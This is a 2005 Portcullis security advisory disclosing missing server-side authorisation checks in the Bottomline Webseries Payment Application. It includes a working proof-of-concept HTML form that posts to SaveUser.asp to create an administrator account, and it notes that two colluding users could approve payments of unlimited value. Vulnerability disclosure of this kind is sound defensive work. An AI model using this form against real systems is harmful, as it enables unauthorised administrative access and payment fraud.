Portcullis Security Advisory 05-001
Portcullis Security Advisory
Vulnerable System:
Webseries Payment Application
Vulnerability Title:
Lack of Backend Authorisation Checking
Vulnerability discovery and development:
Portcullis Security Testing Services
Affected systems:
Bottomline Webseries Payment Application
Details:
Portcullis consultants discovered that although privileged operations
are
not displayed in the application menu presented to unprivileged users,
these
operations may still be executed by directly accessing the appropriate
URL.
This, in effect, means that the core application is not carrying out any
form of authorisation verification and that any authenticated user,
regardless of the rights they have been assigned, can perform any action
available to any user of the system.
In its simplest form this vulnerability could be used to gather a list of
privileged users by accessing the "User Entitlements" report which
details
user's security groups and administrative status. An attacker could use
this information to greatly increase their likelihood of success in
gaining
unauthorised access.
Impact:
An unauthorized user could, by directly accessing the SaveUser.asp
script create a new user with administrative privileges. Portcullis
consultants developed
the following simple HTML page to perform this action:
Any other system operation including user approval, security group
modification and payment approval can be performed in a similar manner.
The only thing obstructing a malicious attacker from succeeding in such
attacks is that the approval system has been correctly implemented.
Even by
accessing URLs directly, a user cannot approve their own changes.
Two unprivileged users, acting in collusion, have the ability to
execute any
function the system is capable of performing. This includes
submitting, and
approving, payments of unlimited value.
Exploit:
Portcullis consultants developed the following simple HTML page to
perform this action:
<html>
<body>
<h1>Add User</h1>
<hr>
<form action="http://target/wsapp/SaveUser.asp"; method="post">
Action <input name="Action" value="ADD" type="text"><br>
UserID <input type="text" name="UserID"><br>
UserName <input type="text" name="UserName"><br>
Password 1 <input type="text" name="Password1"><br>
Password 2 <input type="text" name="Password2"><br>
Email <input type="text" name="EMail"><br>
Administrator <input type="checkbox" name=Admin value=1><br>
Application User <input type="checkbox" name=AppUser value=1><br>
User Group <input type="text" name="SelUserGroup" value="111" ><br>
Security Group <input type="text" name="SecurityGroup"
value="RegMgr"><br>
<input type="submit" value="submit">
</form>
</html>
Copyright:
Copyright © Portcullis Computer Security Limited 2005, All rights reserved
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